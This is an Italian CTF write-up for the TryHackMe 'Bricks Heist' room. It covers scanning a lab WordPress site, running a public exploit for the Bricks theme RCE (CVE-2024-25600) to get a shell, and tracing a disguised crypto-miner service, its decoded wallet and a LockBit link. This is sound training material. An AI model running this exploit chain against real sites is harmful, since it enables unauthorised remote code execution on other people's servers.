anjai7/tryhack3m-bricks-heistWriteup CTF di TryHackMe — RCE di WordPress tramite CVE-2024-25600, analisi forense del crypto miner e identificazione del gruppo ransomware LockBit
target:10.201.6.98 enumerazione
nmap -A 10.201.6.98
poiché c'è un wordpress con nome "brick by brick" e il nome di questa stanza è brick, è probabilmente dove possiamo trovare una vulnerabilità
quindi enumeriamo wordpress
wpscan --url https://bricks.thm --disable-tls-checks
eseguire con tls-checks non funzionerà
qui un altro riferimento a brick, vediamo se questo tema ha qualche vulnerabilità
cerca vulnerabilità bricks 1.9.5 e vedrai una RCE e nella stanza puoi vedere RCE CVE come chiave, quindi è probabilmente il percorso corretto
CVE
CVE-2024-25600 https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT ho usato il codice da questo repository
python CVE-2024-25600.py --url https://bricks.thm --threads 10
devi anche installare alcuni moduli
poi possiamo ottenere la prima rispostaShell> ls -la

ora abbiamo trovato la risposta alla 1ª domanda passiamo alla seconda

poiché non riesco a trovare la risposta alla seconda domanda, sono passato alla terza e ho scoperto che è
ubuntu.service loaded active running TRYHACK3M
poi ho usato questo per trovare la risposta alla terza domanda
Shell> systemctl cat ubuntu.service
# /etc/systemd/system/ubuntu.service
[Unit]
Description=TRYHACK3M
[Service]
Type=simple
ExecStart=/lib/NetworkManager/nm-inet-dialog
Restart=on-failure
[Install]
WantedBy=multi-user.target
successivamente dobbiamo trovare l'istanza del miner poiché
ExecStart=/lib/NetworkManager/nm-inet-dialog
diamo un'occhiata alla directory ==/lib/NetworkManager==
e in quella inet.conf ha questo
ora che sappiamo che inet.conf è l'istanza, troviamo l'indirizzo del wallet associato
strings /lib/NetworkManager/inet.conf | grep -E '[13][a-km-zA-HJ-NP-Z1-9]{25,34}|4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}'
possiamo eseguire questo comando per trovare l'id
è criptato, quindi dobbiamo decodificarlo
echo 5757314e65474e5962484a4f656d787457544e424e574648555446684d3070735930684b616c70555a7a566b52335276546b686b65575248647a525a57466f77546b64334d6b347a526d685a6255313459316873636b35366247315a4d30453159556447
6130355864486c6157454a3557544a564e453959556e4a685246497a5932355363303948526a4a6b52464a7a546d706b65466c525054303d | xxd -r -p | base64 -d
bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa
e questo è l'id del wallet
https://www.blockchain.com/explorer
poi possiamo cercare questo id in questo sito per trovare il grande beneficiario
poi possiamo cercare il beneficiario ==32pTjxTNi7snk8sodrgfmdKao3DEn1nVJM==
su google
come possiamo vedere il gruppo è lockbit
